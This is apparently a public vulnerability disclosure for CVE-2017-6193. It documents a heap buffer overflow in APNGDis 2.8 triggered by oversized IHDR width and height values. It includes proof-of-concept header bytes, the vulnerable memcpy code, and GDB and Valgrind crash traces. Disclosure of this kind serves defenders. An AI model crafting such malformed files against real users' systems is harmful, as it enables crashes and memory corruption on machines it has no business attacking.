# Exploit Title: APNGDis width / height Buffer Overflow
# Date: 14-03-2017
# Exploit Author: Alwin Peppels
# Vendor Homepage: http://apngdis.sourceforge.net/
# Software Link: https://sourceforge.net/projects/apngdis/files/2.8/
# Version: 2.8
# Tested on: Linux Debian / Windows 7
# CVE : CVE-2017-6193

Here are the first bytes of the PoC; positions +0x10 through +0x17 are malformed to contain two unexpectedly large values:

‰ P N G . . . . . . . . I H D R
89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52

. . . . . . . .
00 0F 00 00 00 0F 00 00

^ ^ ^ ^ ^ ^ ^ ^
{ width }{ height }

First, after validating the PNG magic and the IHDR size, the width and height values get loaded from the file:

w0 = w = png_get_uint_32(chunkIHDR.p + 8);
h0 = h = png_get_uint_32(chunkIHDR.p + 12);

GDB:

210 w0 = w = png_get_uint_32(chunkIHDR.p + 8);
(gdb) print chunkIHDR
$1 = {p = 0x55555576f270 "", size = 25}
(gdb) n
211 h0 = h = png_get_uint_32(chunkIHDR.p + 12);
(gdb) print w
$2 = 983040
(gdb) n
213 if (w > cMaxPNGSize || h > cMaxPNGSize)
(gdb) print cMaxPNGSize
$3 = 1000000

After checking the values to be less than million , the following gets called:

compose_frame(frameCur.rows, frameRaw.rows, bop, x0, y0, w0, h0);

Which consist of:

void compose_frame(unsigned char ** rows_dst, unsigned char ** rows_src, unsigned char bop, unsigned int x, unsigned int y, unsigned int w, unsigned int h)
{
unsigned int i, j;
int u, v, al;

for (j=0; j<h; j++)
{
unsigned char * sp = rows_src[j];
unsigned char * dp = rows_dst[j+y] + x*4;

if (bop == 0)
memcpy(dp, sp, w*4);

Memcpy gets invoked and happily starts copying a few million bytes of garbage before running into inaccessible memory:

With w = 0xf0000, h = 0xf0000

GDB

Breakpoint 1, compose_frame (rows_dst=0x7fffef54f010, rows_src=0x7ffff3150010, bop=0 '&#092;&#048;00', x=0, y=0, w=983040, h=983040) at apngdis.cpp:77
77 if (bop == 0)
(gdb) n
78 memcpy(dp, sp, w*4);
(gdb) print dp
$1 = (unsigned char *) 0x55555576f910 ""
(gdb) print sp
$2 = (unsigned char *) 0x55555576f2a0 ""
(gdb) print w

Valgrind

==3494== Invalid read of size 8
==3494== at 0x4C30260: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
==3494== by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
==3494== by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
==3494== by 0x10B24E: main (apngdis.cpp:498)
==3494== Address 0x62933c8 is 3,920,888 bytes inside an unallocated block of size 4,104,208 in arena "client"
==3494==
==3494== Invalid write of size 8
==3494== at 0x4C30265: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
==3494== by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
==3494== by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
==3494== by 0x10B24E: main (apngdis.cpp:498)
==3494== Address 0x6293ad8 is 3,922,696 bytes inside an unallocated block of size 4,104,208 in arena "client"
==3494==
==3494== Invalid read of size 8
==3494== at 0x4C30272: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
==3494== by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
==3494== by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
==3494== by 0x10B24E: main (apngdis.cpp:498)
==3494== Address 0x62933b8 is 3,920,872 bytes inside an unallocated block of size 4,104,208 in arena "client"
==3494==
==3494== Invalid read of size 8
==3494== at 0x4C30140: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
==3494== by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
==3494== by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
==3494== by 0x10B24E: main (apngdis.cpp:498)
==3494== Address 0x0 is not stack'd, malloc'd or (recently) free'd
==3494==
==3494==
==3494== Process terminating with default action of signal 11 (SIGSEGV)
==3494== Access not within mapped region at address 0x0
==3494== at 0x4C30140: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
==3494== by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
==3494== by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
==3494== by 0x10B24E: main (apngdis.cpp:498)
==3494== If you believe this happened as a result of a stack
==3494== overflow in your program's main thread (unlikely but
==3494== possible), you can try to increase the size of the
==3494== main thread stack using the --main-stacksize= flag.
==3494== The main thread stack size used in this run was 8388608.
==3494==
==3494== HEAP SUMMARY:
==3494== in use at exit: 125,829,805 bytes in 10 blocks
==3494== total heap usage: 24 allocs, 14 frees, 141,646,530 bytes allocated
==3494==
==3494== 0 bytes in 1 blocks are still reachable in loss record 1 of 9
==3494== at 0x4C2C93F: operator new[](unsigned long) (vg_replace_malloc.c:423)
==3494== by 0x10A0DF: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:228)
==3494== by 0x10B24E: main (apngdis.cpp:498)
==3494==
==3494== 0 bytes in 1 blocks are still reachable in loss record 2 of 9
==3494== at 0x4C2C93F: operator new[](unsigned long) (vg_replace_malloc.c:423)
==3494== by 0x10A1AB: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:237)
==3494== by 0x10B24E: main (apngdis.cpp:498)
==3494==
==3494== 12 bytes in 1 blocks are still reachable in loss record 3 of 9
==3494== at 0x4C2C93F: operator new[](unsigned long) (vg_replace_malloc.c:423)
==3494== by 0x10B4ED: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:112)
==3494== by 0x10A24D: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:244)
==3494== by 0x10B24E: main (apngdis.cpp:498)
==3494==
==3494== 25 bytes in 1 blocks are still reachable in loss record 4 of 9
==3494== at 0x4C2C93F: operator new[](unsigned long) (vg_replace_malloc.c:423)
==3494== by 0x10B4ED: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:112)
==3494== by 0x109F96: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:206)
==3494== by 0x10B24E: main (apngdis.cpp:498)
==3494==
==3494== 32 bytes in 1 blocks are still reachable in loss record 5 of 9
==3494== at 0x4C2C21F: operator new(unsigned long) (vg_replace_malloc.c:334)
==3494== by 0x10C80D: __gnu_cxx::new_allocator<CHUNK>::allocate(unsigned long, void const*) (new_allocator.h:104)
==3494== by 0x10C5FD: std::allocator_traits<std::allocator<CHUNK> >::allocate(std::allocator<CHUNK>&, unsigned long) (alloc_traits.h:416)
==3494== by 0x10C33F: std::_Vector_base<CHUNK, std::allocator<CHUNK> >::_M_allocate(unsigned long) (stl_vector.h:170)
==3494== by 0x10BB73: void std::vector<CHUNK, std::allocator<CHUNK> >::_M_emplace_back_aux<CHUNK const&>(CHUNK const&) (vector.tcc:412)
==3494== by 0x10B6EA: std::vector<CHUNK, std::allocator<CHUNK> >::push_back(CHUNK const&) (stl_vector.h:924)
==3494== by 0x10AD10: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:392)
==3494== by 0x10B24E: main (apngdis.cpp:498)
==3494==
==3494== 64 bytes in 2 blocks are definitely lost in loss record 6 of 9
==3494== at 0x4C2C93F: operator new[](unsigned long) (vg_replace_malloc.c:423)
==3494== by 0x10B4ED: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:112)
==3494== by 0x10A24D: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:244)
==3494== by 0x10B24E: main (apngdis.cpp:498)
==3494==
==3494== 552 bytes in 1 blocks are still reachable in loss record 7 of 9
==3494== at 0x4C2BBAF: malloc (vg_replace_malloc.c:299)
==3494== by 0x5B8952C: __fopen_internal (iofopen.c:69)
==3494== by 0x109F1B: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:202)
==3494== by 0x10B24E: main (apngdis.cpp:498)
==3494==
==3494== 62,914,560 bytes in 1 blocks are still reachable in loss record 8 of 9
==3494== at 0x4C2C93F: operator new[](unsigned long) (vg_replace_malloc.c:423)
==3494== by 0x10A108: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:229)
==3494== by 0x10B24E: main (apngdis.cpp:498)
==3494==
==3494== 62,914,560 bytes in 1 blocks are still reachable in loss record 9 of 9
==3494== at 0x4C2C93F: operator new[](unsigned long) (vg_replace_malloc.c:423)
==3494== by 0x10A1D4: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:238)
==3494== by 0x10B24E: main (apngdis.cpp:498)
==3494==
==3494== LEAK SUMMARY:
==3494== definitely lost: 64 bytes in 2 blocks
==3494== indirectly lost: 0 bytes in 0 blocks
==3494== possibly lost: 0 bytes in 0 blocks
==3494== still reachable: 125,829,741 bytes in 8 blocks
==3494== suppressed: 0 bytes in 0 blocks
==3494==
==3494== For counts of detected and suppressed errors, rerun with: -v
==3494== ERROR SUMMARY: 1028641 errors from 5 contexts (suppressed: 0 from 0)
Segmentation fault